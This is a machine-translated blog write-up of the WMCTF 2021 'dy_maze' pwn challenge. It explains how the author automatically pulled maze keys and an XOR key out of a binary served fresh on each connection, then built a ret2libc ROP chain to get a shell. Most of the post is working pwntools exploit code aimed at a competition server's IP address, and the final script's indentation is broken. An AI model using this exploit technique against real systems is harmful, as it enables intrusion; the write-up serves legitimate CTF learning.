WMCTF 2021 pwn dy_maze writeup

Posted by timtom3 on Sat, 18 Dec 2021 13:03:19 +0100

  after three days of hard work (fishing and paddling √), WMCTF 2021 is finally over, and our Mengxin experience team has also achieved the top 30 results with the joint efforts of everyone, which is really beyond my expectation. However, for our first game, the results are the most important aspect. The seriousness and concentration shown by our teammates in the game, interest and love for CTF are the most precious things, only interest Only in this way can we continue to train and forge ahead and make great progress in our level.
  in this competition, except for a few check-in and entertainment questions, I only made one dy in pwn direction_ Maze, the reason is that the technology is not enough and heap overflow is not learned. This problem is also different from the general stack overflow. It adds the content of automatic analysis to the front, which really has a long experience. So, next I will follow my train of thought (take some detours) to record this problem.

1. Preliminary analysis

At first glance, I can't understand what an automatic overflow program is x. There are no attachments. Try connecting to the server.
After the service connection is verified, it sends us a Base64 encoded binary file. Blind guess is the ELF of the subject. Manually decode and write the file for analysis.

NX, Canary and amd64 schemas are not opened in the file. Using IDA to decompile, there are many mazes_ The internal structure of class xx functions is exactly the same. After analysis, the program flow is to input 80 decimal numbers, which will become the corresponding serial number maze_xx's key. At the beginning of each function, judge whether the key belongs to some numbers. If it is judged correctly, it will directly jump out of the conversion error. There is a position in the middle for air judgment and jump error. That is, as long as each key corresponds to the condition of the judgment statement of the function, it will be transferred to the next function. After 80 functions, it will be transferred to the normal stack overflow (it turns out that there is a small problem later) and the ROP chain can be constructed.

2. Construct payload through maze

After the above analysis, we need to find the key corresponding to each function. At first, we want to find (x) manually. Later, we see that there are a lot of them, and we are ready to write automatic scripts. Later, it seems that fortunately, we didn't write manual static payload s at the beginning. If we wrote them, we will give them an hour in vain.

Observe the conditional judgment of jumping to the next maze. The operand 2 of this cmp statement is the correct key of each maze, which needs to be found by static analysis.

(originally, I wanted to try payload for dynamic analysis, but python's time deviation is too large. Now I think it's an extremely stupid idea)

After observing the eigenvalue, it is found that after each cmp, there will be an instruction for the global variable pos to increase by 1. Starting from here, find the positions of all jump conditions, and then you can find the corresponding correct key.

Add eax, the binary instruction of 1 is b\x83\xC0\x01, using elf Search() can find the corresponding location. Next, you need to determine the location of the key. The original scheme is to find the key according to the fixed offset. The result is that some functions add some invalid instructions between add, eax, 1 and cmp, resulting in the unfixed offset, so you can only change the eigenvalue search.
Except for the key of the last byte, the first three bytes of the cmp instruction are the same b'\x83\x7D\xFC'. You can start here and search the three bytes forward from the position of add to find the key.

In addition, you can find the location of each function through the symbol table and build a dictionary to store the key corresponding to the function serial number. Part code:

d = {}
for i in range(1, 81):
    d[i] = e.symbols['maze_{}'.format(i)]
    maze_address = sorted(d.items(), key=lambda x: x[1])
    key = {}
    for ind, addr in zip(range(80), e.search(b'\x83\xc0\x01')):
        addr -= 4
        while e.data[e.vaddr_to_offset(addr): e.vaddr_to_offset(addr) + 3] != b'\x83\x7d\xfc': addr -= 1
            key[maze_address[ind][0]] = e.data[e.vaddr_to_offset(adr) + 3]

3. Stack overflow (ROP)

After maze above, we enter the formal stack overflow. Just input the length (100 is enough) at the beginning, and then inject the ROP payload. Since I didn't see the disassembly, I made another mistake and took it for granted to send the plaintext payload. As a result, when it returned, it jumped directly. Later, it was found that it also performed an XOR encryption of all payloads

Use the general ret2libc + encrypt. It should be noted here that XOR key s also need to be extracted through static analysis. The reason will be described later. The extraction method is the same as above

Encryption, key retrieval and payload Codes:

def encode(payload, offset):
	# encode
	payload_encoded = b''
	for i in range(len(payload)):
		payload_encoded += (payload[i] ^ success_temp[(i + offset) % 5]).to_bytes(1, 'little')
	return payload_encoded

success_temp = []
for addr in e.search(b'\x48\x98\x88\x54\x05\xEC'):
    success_temp.append(e.data[e.vaddr_to_offset(addr) - 1])
    
    
prdi = next(e.search(b'\x5f\xc3'))
for i in range(1, 81):
		payload += str(key[i]).encode('utf-8') + b' '

# ok_success
payload += str(100).encode('utf-8')	

sl(payload)

sleep(2)
# p.recvall()
ru(b'Good')
# sl(b'100')

sleep(2)

# input your name:
payload = b'a' * 0x14 + b'b' * 8 + p64(prdi) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(e.symbols['ok_success'])
sl(encode(payload, 0))
# sl(payload)

sleep(2)

ru(b'name: ')
puts_addr = p.recvuntil(b'\n', drop=True).ljust(8, b'\x00')
puts_addr = u64(puts_addr)
log.success("puts addr found: " + hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
# libc.select_libc(9)
libc_base = puts_addr - libc.dump('puts')
log.success('libc base found: ' + hex(libc_base))

p.sendlineafter(b'length', str(100).encode('utf-8'))

# Attacking:
payload = b'a' * 0x14 + b'b' * 8 + p64(prdi) + p64(libc.dump('str_bin_sh') + libc_base)
payload += p64(prdi + 1) + p64(libc.dump('system') + libc_base)
sla(b'name: ', encode(payload, 1))

4. Real automatic analysis

After constructing the payload, I handed it in excitedly and connected to reset all the time. At first, I thought the network was bad. I tried it manually and found that it was wrong. Later, on second thought, it's not good for him to send an attachment. Do you have to send it to you with Base64 every time you connect? Not every time ELF is different? Later, the two one-to-one comparisons were true. Although the stack frame structure did not change, the address and key all changed. This is the real need for automatic analysis.

Then decode Base64 and write it into a file, and then use this file for static analysis.

Later, it was found that except for the key, the subsequent XOR encrypted key, all addresses changed, which is why the above needs to use static analysis to extract the value

Decoding and saving ELF Code:

# initialize
p.recvuntil(b'Solution?')
confirm = input()
sl(confirm)

# Create binary file
ru(b'Binary Download Start')
ru(b'\n')
b64_data = p.recvuntil(b'\n==', drop=True)
with open('temp.bz2', 'wb') as f:
    f.write(a2b_base64(b64_data))
    ru(b'\n')

temp_binary = os.popen('tar -xjvf temp.bz2').read().strip('\n')
e = ELF("./" + temp_binary)

5. PWN

After some normal operations such as rsp16 byte alignment, the get shell is finally successful. The complete code is attached below:

from pwn import *
from LibcSearcher import *
from binascii import a2b_base64
import os

context(log_level='debug', os='linux', arch='amd64', bits=64)
context.terminal = ['/usr/bin/x-terminal-emulator', '-e']

# Interface
local = False
# binary_name = "dy_maze"
binary_name = "38a5a00c-08ac-11ec-b124-0242ac110003"
port = 44212

if local:
	p = process(["./" + binary_name])
	e = ELF("./" + binary_name)
	# libc = e.libc
else:
	p = remote("47.104.169.32", port)

    
def z(a=''):
	if local:
		gdb.attach(p, a)
		if a == '':
			raw_input()
	else:
		pass


ru = lambda x: p.recvuntil(x)
rc = lambda x: p.recv(x)
sl = lambda x: p.sendline(x)
sd = lambda x: p.send(x)
sla = lambda delim, data: p.sendlineafter(delim, data)


def encode(payload, offset):
	# encode
	payload_encoded = b''
	for i in range(len(payload)):
		payload_encoded += (payload[i] ^ success_temp[(i + offset) % 5]).to_bytes(1, 'little')
	return payload_encoded

# Others
success_temp = []

# Main
if __name__ == "__main__":
	# z('b maze_25')
	z('b ok_success\n')


# initialize
p.recvuntil(b'Solution?')
confirm = input()
sl(confirm)

# Create binary file
ru(b'Binary Download Start')
ru(b'\n')
b64_data = p.recvuntil(b'\n==', drop=True)
with open('temp.bz2', 'wb') as f:
	f.write(a2b_base64(b64_data))
ru(b'\n')

temp_binary = os.popen('tar -xjvf temp.bz2').read().strip('\n')
e = ELF("./" + temp_binary)

	# Start ELF Analysis

	d = {}
	for i in range(1, 81):
		d[i] = e.symbols['maze_{}'.format(i)]
	maze_address = sorted(d.items(), key=lambda x: x[1])

	key = {}
	for ind, addr in zip(range(80), e.search(b'\x83\xc0\x01')):
		addr -= 4
		while e.data[e.vaddr_to_offset(addr): e.vaddr_to_offset(addr) + 3] != b'\x83\x7d\xfc': addr -= 1
		key[maze_address[ind][0]] = e.data[e.vaddr_to_offset(addr) + 3]
		
	for addr in e.search(b'\x48\x98\x88\x54\x05\xEC'):
		success_temp.append(e.data[e.vaddr_to_offset(addr) - 1])

	prdi = next(e.search(b'\x5f\xc3'))
	# End Analysis
	# key[80] = 32
	payload = b''
	for i in range(1, 81):
		payload += str(key[i]).encode('utf-8') + b' '

	# ok_success
	payload += str(100).encode('utf-8')	

	sl(payload)

	sleep(2)
	# p.recvall()
	ru(b'Good')
	# sl(b'100')

	sleep(2)

	# input your name:
	payload = b'a' * 0x14 + b'b' * 8 + p64(prdi) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(e.symbols['ok_success'])
	sl(encode(payload, 0))
	# sl(payload)

	sleep(2)

	ru(b'name: ')
	puts_addr = p.recvuntil(b'\n', drop=True).ljust(8, b'\x00')
	puts_addr = u64(puts_addr)
	log.success("puts addr found: " + hex(puts_addr))
	libc = LibcSearcher('puts', puts_addr)
	# libc.select_libc(9)
	libc_base = puts_addr - libc.dump('puts')
	log.success('libc base found: ' + hex(libc_base))

	p.sendlineafter(b'length', str(100).encode('utf-8'))

	# Attacking:
	payload = b'a' * 0x14 + b'b' * 8 + p64(prdi) + p64(libc.dump('str_bin_sh') + libc_base)
	payload += p64(prdi + 1) + p64(libc.dump('system') + libc_base)
	sla(b'name: ', encode(payload, 1))

	p.interactive()

Topics: Python Cyber Security pwn